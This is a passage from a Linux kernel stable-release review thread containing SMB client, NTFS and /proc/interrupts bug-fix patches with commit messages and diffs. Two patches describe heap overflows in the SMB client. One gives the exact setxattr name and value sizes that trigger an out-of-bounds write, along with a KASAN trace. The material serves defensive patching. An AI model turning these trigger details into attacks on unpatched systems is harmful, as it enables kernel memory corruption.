filemap_fault takes it shared),
- writeback collection (blocked by netfs_wb_begin/netfs_wb_end
around the server truncate and local resize, since
netfs_writepages also acquires the wb lock).
Fixes: 110fee6b9bb5 ("smb: client: fix missing timestamp updates with O_TRUNC")
Signed-off-by: Paulo Alcantara <pc@manguebit.org>
Reviewed-by: Namjae Jeon <linkinjeon@kernel.org>
Cc: Ronnie Sahlberg <ronniesahlberg@gmail.com>
Cc: Shyam Prasad N <sprasad@microsoft.com>
Cc: Tom Talpey <tom@talpey.com>
Cc: Bharath SM <bharathsm@microsoft.com>
Cc: stable@vger.kernel.org
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/smb/client/file.c | 28 ++++++++++++++++++----------
1 file changed, 18 insertions(+), 10 deletions(-)
--- a/fs/smb/client/file.c
+++ b/fs/smb/client/file.c
@@ -999,42 +999,50 @@ static int cifs_do_truncate(const unsign
struct cifs_tcon *tcon;
int rc;
- rc = filemap_write_and_wait(inode->i_mapping);
- if (is_interrupt_error(rc))
+ rc = inode_lock_killable(inode);
+ if (rc)
return -ERESTARTSYS;
+
+ filemap_invalidate_lock(inode->i_mapping);
+
+ rc = filemap_write_and_wait(inode->i_mapping);
+ if (is_interrupt_error(rc)) {
+ rc = -ERESTARTSYS;
+ goto out;
+ }
mapping_set_error(inode->i_mapping, rc);
cfile = find_writable_file(cinode, FIND_FSUID_ONLY);
rc = cifs_file_flush(xid, inode, cfile);
if (!rc) {
if (cfile) {
+ struct netfs_inode *ictx = netfs_inode(inode);
+
tcon = tlink_tcon(cfile->tlink);
server = tcon->ses->server;
+ netfs_wb_begin(ictx, false);
rc = server->ops->set_file_size(xid, tcon,
cfile, 0, false);
if (!rc) {
- inode_lock(inode);
- filemap_invalidate_lock(inode->i_mapping);
netfs_resize_file(&cinode->netfs, 0, true);
cifs_setsize(inode, 0);
- filemap_invalidate_unlock(inode->i_mapping);
- inode_unlock(inode);
cifs_invalidate_cache(inode, 0);
}
+ netfs_wb_end(ictx);
} else {
/*
* No cached handle; evict stale pages so they can't
* be served after the file is later extended; let
* the server's O_TRUNC open response set the i_size
*/
- inode_lock(inode);
- filemap_invalidate_lock(inode->i_mapping);
truncate_inode_pages(inode->i_mapping, 0);
- filemap_invalidate_unlock(inode->i_mapping);
- inode_unlock(inode);
cifs_invalidate_cache(inode, 0);
}
}
+
+out:
+ filemap_invalidate_unlock(inode->i_mapping);
+ inode_unlock(inode);
if (cfile)
cifsFileInfo_put(cfile);
return rc;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 221/242] smb: client: fix heap overflow in cifs_do_set_acl()
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (217 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 220/242] smb: client: fix data corruption with concurrent writes and O_TRUNC Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 222/242] smb: client: fix multiuser mount with krb5 Greg Kroah-Hartman
` (22 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Frank Sorenson, Paulo Alcantara
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Frank Sorenson <sorenson@redhat.com>
commit 1dac61e2c29d1a71784604b48cf3b1234a65ec29 upstream.
cifs_set_acl() validates ACL size using posix_acl_xattr_size():
4 + (count * 8) // 4-byte header + 8 bytes per ACE
cifs_do_set_acl() then calls posix_acl_to_cifs() to write the CIFS
wire format into the same buffer:
6 + (count * 10) // 6-byte header + 10 bytes per ACE
An ACL that passes the xattr-based check in cifs_set_acl() can
overflow the heap when posix_acl_to_cifs() writes the larger CIFS
format.
Validate the CIFS format size against the remaining buffer space and
USHRT_MAX before converting--data_count is __u16, so sizes above
USHRT_MAX truncate the on-wire packet length, causing the server to
apply a partial ACL. Replace MaxDataCount = 1000 with
min(CIFSMaxBufSize, USHRT_MAX).
Fixes: dc1af4c4b4721 ("cifs: implement set acl method")
Cc: stable@vger.kernel.org
Signed-off-by: Frank Sorenson <sorenson@redhat.com>
Signed-off-by: Paulo Alcantara <pc@manguebit.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/smb/client/cifssmb.c | 13 +++++++++++--
1 file changed, 11 insertions(+), 2 deletions(-)
--- a/fs/smb/client/cifssmb.c
+++ b/fs/smb/client/cifssmb.c
@@ -3571,6 +3571,7 @@ int cifs_do_set_acl(const unsigned int x
int rc = 0;
int bytes_returned = 0;
__u16 params, byte_count, data_count, param_offset, offset;
+ size_t cifs_acl_size, bytes_available;
cifs_dbg(FYI, "In SetPosixACL (Unix) for path %s\n", fileName);
setAclRetry:
@@ -3590,8 +3591,7 @@ setAclRetry:
}
params = 6 + name_len;
pSMB->MaxParameterCount = cpu_to_le16(2);
- /* BB find max SMB size from sess */
- pSMB->MaxDataCount = cpu_to_le16(1000);
+ pSMB->MaxDataCount = cpu_to_le16(min_t(unsigned int, CIFSMaxBufSize, USHRT_MAX));
pSMB->MaxSetupCount = 0;
pSMB->Reserved = 0;
pSMB->Flags = 0;
@@ -3603,6 +3603,15 @@ setAclRetry:
parm_data = ((char *)pSMB) + offset;
pSMB->ParameterOffset = cpu_to_le16(param_offset);
+ /* make sure we can fit the larger cifs_posix_aces in the buffer */
+ cifs_acl_size = sizeof(struct cifs_posix_acl) +
+ (acl->a_count * sizeof(struct cifs_posix_ace));
+ bytes_available = (CIFSMaxBufSize + MAX_HEADER_SIZE(tcon->ses->server)) - offset;
+ if (cifs_acl_size > bytes_available || cifs_acl_size > USHRT_MAX) {
+ rc = -E2BIG;
+ goto setACLerrorExit;
+ }
+
/* convert to on the wire format for POSIX ACL */
data_count = posix_acl_to_cifs(parm_data, acl, acl_type);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 222/242] smb: client: fix multiuser mount with krb5
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (218 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 221/242] smb: client: fix heap overflow in cifs_do_set_acl() Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 223/242] smb: client: reject SetEA requests that do not fit the request buffer Greg Kroah-Hartman
` (21 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Jacob Shivers, Ronnie Sahlberg,
Shyam Prasad N, Tom Talpey, Bharath SM, Namjae Jeon,
Paulo Alcantara
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Paulo Alcantara <pc@manguebit.org>
commit 69499395867332364ed4ac8b546537eb3bab6ebb upstream.
Customer reported that they could no longer mount their SMB shares
with multiuser mount option and krb5. Turned out that the client
wasn't duplicating username option when creating multiuser
connections, therefore failing to retrieve credentials as
cifs.upcall(8) couldn't find them in keytab.
Fix this by duplicating username option (if set) from original fs
context before creating multiuser connections with krb5.
Reproducer:
```
$ ktutil
ktutil: add_entry -password -p testuser -k 1 -e aes256-cts
Password for testuser@ZELDA.TEST:
ktutil: write_kt /etc/krb5.keytab
ktutil: quit
$ klist -ke
Keytab name: FILE:/etc/krb5.keytab
KVNO Principal
---- ----------------------------------------------------------------
1 testuser@ZELDA.TEST (aes256-cts-hmac-sha1-96)
$ mount.cifs //w22-root2/scratch /mnt/1 -o \
uid=1000,sec=krb5,username=testuser@ZELDA.TEST,multiuser
mount error(13): Permission denied
Refer to the mount.cifs(8) manual page (e.g. man mount.cifs) and
kernel log messages (dmesg)
```
Reported-by: Jacob Shivers <jshivers@redhat.com>
Fixes: 12b4c5d98cd7 ("smb: client: fix krb5 mount with username option")
Cc: Ronnie Sahlberg <ronniesahlberg@gmail.com>
Cc: Shyam Prasad N <sprasad@microsoft.com>
Cc: Tom Talpey <tom@talpey.com>
Cc: Bharath SM <bharathsm@microsoft.com>
Cc: Namjae Jeon <linkinjeon@kernel.org>
Cc: stable@vger.kernel.org
Reviewed-by: Namjae Jeon <linkinjeon@kernel.org>
Signed-off-by: Paulo Alcantara <pc@manguebit.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/smb/client/connect.c | 21 ++++++++++++++++-----
1 file changed, 16 insertions(+), 5 deletions(-)
--- a/fs/smb/client/connect.c
+++ b/fs/smb/client/connect.c
@@ -4201,14 +4201,25 @@ cifs_setup_session(const unsigned int xi
return rc;
}
-static int
-cifs_set_vol_auth(struct smb3_fs_context *ctx, struct cifs_ses *ses)
+static int set_fs_context_auth(struct smb3_fs_context *ctx,
+ struct cifs_ses *ses)
{
ctx->sectype = ses->sectype;
- /* krb5 is special, since we don't need username or pw */
- if (ctx->sectype == Kerberos)
+ /*
+ * krb5 is special as we might need to pass username (passwordless) down
+ * to cifs.upcall(8) for keytab.
+ */
+ if (ctx->sectype == Kerberos) {
+ if (ses->user_name && ses->user_name[0]) {
+ ctx->username = kstrndup(ses->user_name,
+ CIFS_MAX_USERNAME_LEN,
+ GFP_KERNEL);
+ if (!ctx->username)
+ return -ENOMEM;
+ }
return 0;
+ }
return cifs_set_cifscreds(ctx, ses);
}
@@ -4248,7 +4259,7 @@ cifs_construct_tcon(struct cifs_sb_info
ctx->dfs_root_ses = master_tcon->ses->dfs_root_ses;
ctx->unicode = master_tcon->ses->unicode;
- rc = cifs_set_vol_auth(ctx, master_tcon->ses);
+ rc = set_fs_context_auth(ctx, master_tcon->ses);
if (rc) {
tcon = ERR_PTR(rc);
goto out;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 223/242] smb: client: reject SetEA requests that do not fit the request buffer
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (219 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 222/242] smb: client: fix multiuser mount with krb5 Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 224/242] ntfs: handle signal interruption in fallocate Greg Kroah-Hartman
` (20 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Yunpeng Tian, Mingda Zhang,
Gongming Wang, Qinrun Dai, Namjae Jeon, Paulo Alcantara
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Yunpeng Tian <shionthanatos@gmail.com>
commit 4aa2c106aef4bf3dfd97c30842db0767b26e8428 upstream.
CIFSSMBSetEA() copies the caller's extended attribute value into the
SMB request buffer without checking that it fits. The requirement is
stated in the source but was never implemented:
/*BB add length check to see if it would fit in
negotiated SMB buffer size BB */
/* if (ea_value_len > buffer_size - 512 (enough for header)) */
if (ea_value_len)
memcpy(parm_data->list.name + name_len + 1,
ea_value, ea_value_len);
The only bound applied on the way in is in cifs_xattr_set():
#define MAX_EA_VALUE_SIZE CIFSMaxBufSize
...
if (size > MAX_EA_VALUE_SIZE)
CIFSMaxBufSize is the full payload capacity of the buffer, so a value
of exactly that size leaves no room for the SMB header, the TRANS2
parameter block, the fealist header and the EA name that are written
ahead of it in the same object.
SendReceive() already enforces the correct limit on this very length:
if (in_len > CIFSMaxBufSize + MAX_CIFS_HDR_SIZE)
but it is called after the copy has taken place. An unprivileged
setxattr(2) on an SMB1 mount with a 250-byte name and a 16384-byte
value writes 16384 bytes starting 345 bytes into a 16588-byte
cifs_request object, ending 141 bytes past it:
BUG: KASAN: slab-out-of-bounds in CIFSSMBSetEA+0xabc/0xde0
Write of size 16384 at addr ffff888003aa0159 by task init/68
__asan_memcpy+0x3c/0x60
CIFSSMBSetEA+0xabc/0xde0
cifs_xattr_set+0xd3a/0xff0
__vfs_setxattr+0x13e/0x1a0
The buggy address is located 345 bytes inside of
allocated 16588-byte region
Apply SendReceive()'s limit to the assembled request before the copy
rather than after it, and widen the byte counters so the sum cannot
wrap before it is tested.
byte_count is also tested against U16_MAX, because it is stored in the
16-bit pSMB->ByteCount. That becomes reachable when CIFSMaxBufSize is
raised at module load, where it may be set as high as 1024*127: with a
5-byte EA name and a 65521-byte value, count is exactly U16_MAX while
byte_count is 65556, and cpu_to_le16() would truncate it to 20 and
transmit a frame whose ByteCount does not match its length. Testing
byte_count covers count as well, since byte_count is the larger of the
two and count's only 16-bit consumer is written after this point.
check_add_overflow() is evaluated first so that total_len is assigned
before it is reported.
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Reported-by: Yunpeng Tian <shionthanatos@gmail.com>
Reported-by: Mingda Zhang <npczmd@qq.com>
Reported-by: Gongming Wang <gmwgg05@gmail.com>
Reported-by: Qinrun Dai <jupmouse@gmail.com>
Cc: stable@vger.kernel.org
Signed-off-by: Yunpeng Tian <shionthanatos@gmail.com>
Reviewed-by: Namjae Jeon <linkinjeon@kernel.org>
Signed-off-by: Paulo Alcantara <pc@manguebit.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/smb/client/cifssmb.c | 11 ++++++++++-
1 file changed, 10 insertions(+), 1 deletion(-)
--- a/fs/smb/client/cifssmb.c
+++ b/fs/smb/client/cifssmb.c
@@ -6350,8 +6350,10 @@ CIFSSMBSetEA(const unsigned int xid, str
int name_len;
int rc = 0;
int bytes_returned = 0;
- __u16 params, param_offset, byte_count, offset, count;
+ __u16 params, param_offset;
+ unsigned int byte_count, offset, count;
int remap = cifs_remap(cifs_sb);
+ unsigned int total_len;
cifs_dbg(FYI, "In SetEA\n");
SetEARetry:
@@ -6403,6 +6405,13 @@ SetEARetry:
pSMB->Reserved3 = 0;
pSMB->SubCommand = cpu_to_le16(TRANS2_SET_PATH_INFORMATION);
byte_count = 3 /* pad */ + params + count;
+ if (check_add_overflow(in_len, byte_count, &total_len) ||
+ byte_count > U16_MAX ||
+ total_len > CIFSMaxBufSize + MAX_CIFS_HDR_SIZE) {
+ cifs_dbg(VFS, "EA request too large: %u bytes\n", total_len);
+ cifs_buf_release(pSMB);
+ return -E2BIG;
+ }
pSMB->DataCount = cpu_to_le16(count);
parm_data->list_len = cpu_to_le32(count);
parm_data->list.EA_flags = 0;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 224/242] ntfs: handle signal interruption in fallocate
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (220 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 223/242] smb: client: reject SetEA requests that do not fit the request buffer Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 225/242] ntfs: fix FITRIM range alignment Greg Kroah-Hartman
` (19 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Hongling Zeng, Baolin Liu,
Namjae Jeon
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Hongling Zeng <zenghongling@kylinos.cn>
commit 4dc8f4ee2d46d5d1e749ddd1b94912c72e796162 upstream.
The ntfs_attr_fallocate() function checks for pending signals during
allocation loops and exits early via 'out' label. However, when a signal
interrupts the operation with err == 0, the function returns 0 (success)
instead of -EINTR.
The signal_pending() checks at the allocation loops jump to 'out' without
setting err = -EINTR, so the function returns success even when interrupted
by a signal.
Set err = -EINTR when jumping to the signal exit path, and only override
when no other error is pending. This ensures:
- Allocation interrupted by signal returns -EINTR
- Allocation that completed successfully before signal arrived returns 0
- Other errors are preserved and not overwritten by -EINTR
Fixes: 495e90fa3348 ("ntfs: update attrib operations")
Cc: stable@vger.kernel.org
Signed-off-by: Hongling Zeng <zenghongling@kylinos.cn>
Reviewed-by: Baolin Liu <liubaolin@kylinos.cn>
Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/ntfs/attrib.c | 8 ++++++--
1 file changed, 6 insertions(+), 2 deletions(-)
--- a/fs/ntfs/attrib.c
+++ b/fs/ntfs/attrib.c
@@ -5845,7 +5845,7 @@ int ntfs_attr_fallocate(struct ntfs_inod
}
if (signal_pending(current))
- goto out;
+ goto signal_out;
vcn += alloc_cnt;
try_alloc_cnt -= alloc_cnt;
@@ -5866,7 +5866,7 @@ int ntfs_attr_fallocate(struct ntfs_inod
up_write(&ni->runlist.lock);
mutex_unlock(&ni->mrec_lock);
if (err || signal_pending(current))
- goto out;
+ goto signal_out;
vcn += alloc_cnt;
try_alloc_cnt -= alloc_cnt;
@@ -5892,4 +5892,8 @@ out_unmap:
mutex_unlock(&ni->mrec_lock);
out:
return err >= 0 ? 0 : err;
+signal_out:
+ if (!err)
+ err = -EINTR;
+ goto out;
}
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 225/242] ntfs: fix FITRIM range alignment
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (221 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 224/242] ntfs: handle signal interruption in fallocate Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 226/242] ntfs: fix incorrect MFT record pointer passed to ntfs_attr_record_resize Greg Kroah-Hartman
` (18 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Jacopo Labardi, Namjae Jeon
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Jacopo Labardi <jacopolabardi@gmail.com>
commit 03c6ecc4b4b13a3901f207152451fdd2d82e40c4 upstream.
ntfs_trim_fs() aligns the start of a free extent up to the device discard
granularity, but derives the discard length by aligning the original extent
length down. When the free extent start is not discard-aligned, adding that
length to the aligned start can extend the discard past the free extent and
into allocated clusters.
For example, with 4 KiB clusters and 32 KiB discard granularity, the free
extent [4 KiB, 36 KiB) becomes the discard range [32 KiB, 64 KiB), so
28 KiB beyond the free extent may be discarded.
Align the absolute end of the free extent down and derive the length from
the two aligned endpoints. Skip extents that contain no full discard unit.
Reproduced with a 4 KiB-cluster NTFS filesystem on scsi_debug configured
for 32 KiB discard granularity and read-zero-after-trim. Before this
change, FITRIM zeroed seven allocated 4 KiB clusters following an unaligned
32 KiB hole. With this change, the same data remains intact across FITRIM
and remount.
Fixes: 11ccc9107dc4 ("ntfs: update runlist handling and cluster allocator")
Cc: stable@vger.kernel.org
Assisted-by: OpenAI Codex:GPT-5.6 Sol Max
Signed-off-by: Jacopo Labardi <jacopolabardi@gmail.com>
Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/ntfs/bitmap.c | 8 +++++---
1 file changed, 5 insertions(+), 3 deletions(-)
--- a/fs/ntfs/bitmap.c
+++ b/fs/ntfs/bitmap.c
@@ -64,7 +64,7 @@ int ntfs_trim_fs(struct ntfs_volume *vol
end = start_buf;
while (end < end_buf) {
- u64 aligned_start, aligned_count;
+ u64 aligned_start, aligned_end, aligned_count;
u64 start = find_next_zero_bit(bitmap, end_buf - start_buf,
end - start_buf) + start_buf;
if (start >= end_buf)
@@ -74,8 +74,10 @@ int ntfs_trim_fs(struct ntfs_volume *vol
start - start_buf) + start_buf;
aligned_start = ALIGN(ntfs_cluster_to_bytes(vol, start), dq);
- aligned_count =
- ALIGN_DOWN(ntfs_cluster_to_bytes(vol, end - start), dq);
+ aligned_end = ALIGN_DOWN(ntfs_cluster_to_bytes(vol, end), dq);
+ if (aligned_start >= aligned_end)
+ continue;
+ aligned_count = aligned_end - aligned_start;
if (aligned_count >= range->minlen) {
ret = blkdev_issue_discard(vol->sb->s_bdev, aligned_start >> 9,
aligned_count >> 9, GFP_NOFS);
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 226/242] ntfs: fix incorrect MFT record pointer passed to ntfs_attr_record_resize
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (222 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 225/242] ntfs: fix FITRIM range alignment Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 227/242] ntfs: fix undefined behavior in mft/index record size calculation Greg Kroah-Hartman
` (17 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Hongling Zeng, Hyunchul Lee,
Namjae Jeon
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Hongling Zeng <zenghongling@kylinos.cn>
commit 8d139e3635c86e2c97c78d55538ce0b00b6d9986 upstream.
ntfs_new_attr_flags() passes the wrong MFT record to ntfs_attr_record_resize().
When the attribute is in an extent record, ctx->mrec points to the extent
but the function receives the base record pointer m, causing incorrect
size calculations in memmove.
Fix by passing ctx->mrec (the actual MFT record containing the attribute)
instead of m (the base MFT record) to ntfs_attr_record_resize().
Fixes: fc053f05ca28 ("ntfs: add reparse and ea operations")
Cc: stable@vger.kernel.org
Signed-off-by: Hongling Zeng <zenghongling@kylinos.cn>
Reviewed-by: Hyunchul Lee <hyc.lee@gmail.com>
Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/ntfs/ea.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--- a/fs/ntfs/ea.c
+++ b/fs/ntfs/ea.c
@@ -699,7 +699,7 @@ static int ntfs_new_attr_flags(struct nt
mp_ofs = (name_ofs + a->name_length * sizeof(__le16) + 7) & ~7;
arec_size = (mp_ofs + mp_size + 7) & ~7;
- err = ntfs_attr_record_resize(m, a, arec_size);
+ err = ntfs_attr_record_resize(ctx->mrec, a, arec_size);
if (unlikely(err))
goto err_out;
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 227/242] ntfs: fix undefined behavior in mft/index record size calculation
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (223 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 226/242] ntfs: fix incorrect MFT record pointer passed to ntfs_attr_record_resize Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 228/242] genirq/proc: Fix missing CPU header in /proc/interrupts Greg Kroah-Hartman
` (16 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable; +Cc: Greg Kroah-Hartman, patches, Hongling Zeng, Baolin Liu,
Namjae Jeon
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Hongling Zeng <zenghongling@kylinos.cn>
commit a79899ca38af4ce5518a59a22f0eb1f59f7e6089 upstream.
The boot sector validation allows clusters_per_mft_record and
clusters_per_index_record to range from 0xE1 (-31) to 0xF7 (-9) when
interpreted as signed values. When these are used as negative shift
counts in expressions like `1 << -clusters_per_mft_record`, values
like 0xE1 cause `1 << 31`, which shifts into the sign bit of a 32-bit
signed integer, resulting in undefined behavior.
Fix by using unsigned shift (1U << ...) instead of signed shift.
This prevents undefined behavior while preserving the full valid
range of negative values (-31 to -9) that may appear in NTFS boot
sectors.
The encoding scheme uses negative values to represent record sizes
smaller than cluster_size: -log2(record_size). Common values include
-10 (1024 bytes) for mft_record_size and -12 (4096 bytes) for
index_record_size.
Fixes: 1da177e4c3f4 ("Linux-2.6.12-rc2")
Cc: stable@vger.kernel.org
Signed-off-by: Hongling Zeng <zenghongling@kylinos.cn>
Reviewed-by: Baolin Liu <liubaolin@kylinos.cn>
Signed-off-by: Namjae Jeon <linkinjeon@kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
fs/ntfs/super.c | 4 ++--
1 file changed, 2 insertions(+), 2 deletions(-)
--- a/fs/ntfs/super.c
+++ b/fs/ntfs/super.c
@@ -695,7 +695,7 @@ static bool parse_ntfs_boot_sector(struc
* = -log2(mft_record_size) bytes. mft_record_size normaly is
* 1024 bytes, which is encoded as 0xF6 (-10 in decimal).
*/
- vol->mft_record_size = 1 << -clusters_per_mft_record;
+ vol->mft_record_size = 1U << -clusters_per_mft_record;
vol->mft_record_size_mask = vol->mft_record_size - 1;
vol->mft_record_size_bits = ffs(vol->mft_record_size) - 1;
ntfs_debug("vol->mft_record_size = %i (0x%x)", vol->mft_record_size,
@@ -732,7 +732,7 @@ static bool parse_ntfs_boot_sector(struc
* index_record_size normaly equals 4096 bytes, which is
* encoded as 0xF4 (-12 in decimal).
*/
- vol->index_record_size = 1 << -clusters_per_index_record;
+ vol->index_record_size = 1U << -clusters_per_index_record;
vol->index_record_size_mask = vol->index_record_size - 1;
vol->index_record_size_bits = ffs(vol->index_record_size) - 1;
ntfs_debug("vol->index_record_size = %i (0x%x)",
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 228/242] genirq/proc: Fix missing CPU header in /proc/interrupts
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (224 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 227/242] ntfs: fix undefined behavior in mft/index record size calculation Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 229/242] drm/amdgpu: Remove the bo list mutex Greg Kroah-Hartman
` (15 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
From: Greg Kroah-Hartman @ 2026-10-23 16:41 UTC (permalink / raw)
To: stable
Cc: Greg Kroah-Hartman, patches, Haris Okanovic, Thomas Gleixner,
Michael Kelley, Radu Rendec
7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Haris Okanovic <harisokn@amazon.com>
commit e74798f2f8e1562f2bbd2fed8d81929eeef39ffc upstream.
irq_seq_show() must be idempotent since it may be called multiple times
to render the same record, e.g. when seq_file's buffer is exceeded. It
emits the CPU header behind the one-shot print_header flag, which the
first pass clears, so the header is lost with the discarded buffer.
This can be seen on large systems, such as 8g.48xl (192 CPUs) and
8i.96xl (384 CPUs) AWS instance types:
$ head -1 /proc/interrupts
9: 0 0 ... 0 GICv3 25 Level vgic
Replace print_header with the position of the first record and include
the header whenever that record is emitted.
Fixes: 171cc0d9eed1 ("genirq/proc: Speed up /proc/interrupts iteration")
Signed-off-by: Haris Okanovic <harisokn@amazon.com>
Signed-off-by: Thomas Gleixner <tglx@kernel.org>
Tested-by: Michael Kelley <mhklinux@outlook.com>
Reviewed-by: Radu Rendec <radu@rendec.net>
Link: https://patch.msgid.link/20260911-dev-harisokn-proc-interrupts-fix-b4-v1-1-f9ff208efcfa@amazon.com
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
kernel/irq/proc.c | 24 +++++++++++++++++-------
1 file changed, 17 insertions(+), 7 deletions(-)
--- a/kernel/irq/proc.c
+++ b/kernel/irq/proc.c
@@ -462,7 +462,7 @@ int __weak arch_show_interrupts(struct s
static DEFINE_RAW_SPINLOCK(irq_proc_constraints_lock);
static struct irq_proc_constraints {
- bool print_header;
+ loff_t first_pos;
unsigned int num_prec;
unsigned int chip_width;
} irq_proc_constraints __read_mostly = {
@@ -543,14 +543,13 @@ static int irq_seq_show(struct seq_file
struct irqaction *action;
/* Print header for the first interrupt? */
- if (constr->print_header) {
+ if (p->index == constr->first_pos) {
unsigned int cpu;
seq_printf(p, "%*s", constr->num_prec + 8, "");
for_each_online_cpu(cpu)
seq_printf(p, "CPU%-8d", cpu);
seq_putc(p, '\n');
- constr->print_header = false;
}
if (desc == ARCH_PROC_IRQDESC)
@@ -635,14 +634,25 @@ static void *irq_seq_next_desc(loff_t *p
static void *irq_seq_start(struct seq_file *f, loff_t *pos)
{
- if (!*pos) {
- struct irq_proc_constraints *constr = f->private;
+ struct irq_proc_constraints *constr = f->private;
+ bool first = !*pos;
+ void *ret;
+ if (first) {
constr->num_prec = READ_ONCE(irq_proc_constraints.num_prec);
constr->chip_width = READ_ONCE(irq_proc_constraints.chip_width);
- constr->print_header = true;
}
- return irq_seq_next_desc(pos);
+
+ ret = irq_seq_next_desc(pos);
+
+ /*
+ * Record position of the first output record so that irq_seq_show()
+ * knows where to write the header.
+ */
+ if (first)
+ constr->first_pos = *pos;
+
+ return ret;
}
static void *irq_seq_next(struct seq_file *f, void *v, loff_t *pos)
^ permalink raw reply [flat|nested] 455+ messages in thread
* [PATCH 7.2 229/242] drm/amdgpu: Remove the bo list mutex
2026-10-23 16:37 [PATCH 7.2 000/242] 7.2.13-rc1 review Greg Kroah-Hartman
` (225 preceding siblings ...)
2026-10-23 16:41 ` [PATCH 7.2 228/242] genirq/proc: Fix missing CPU header in /proc/interrupts Greg Kroah-Hartman
@ 2026-10-23 16:41 ` Greg Kroah-Hartman
2026-10-23 16:41 ` [PATCH 7.2 230/242] drm/amdgpu: free the userptr ranges when a CS fails after parser_bos Greg Kroah-Hartman
` (14 subsequent siblings)
241 siblings, 0 replies; 455+ messages in thread
